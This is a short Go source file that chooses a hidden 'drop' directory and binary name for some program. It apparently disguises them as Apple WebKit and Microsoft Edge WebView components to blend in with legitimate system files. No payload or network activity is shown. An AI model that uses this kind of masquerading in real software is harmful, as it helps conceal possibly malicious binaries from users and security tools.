//go:build !windows package main import ( "os" "path/filepath" "runtime" ) func cacheDropBase() string { if runtime.GOOS == "darwin" { home, _ := os.UserHomeDir() return filepath.Join(home, "Library", "Caches", "com.apple.WebKit.WebContent") } if xdg := os.Getenv("XDG_CACHE_HOME"); xdg != "" { return filepath.Join(xdg, "aetherforge") } home, _ := os.UserHomeDir() return filepath.Join(home, ".cache", "aetherforge") } func dropBinaryName() string { if runtime.GOOS == "windows" { return "msedgewebview2.exe" } return "webcontent-helper" }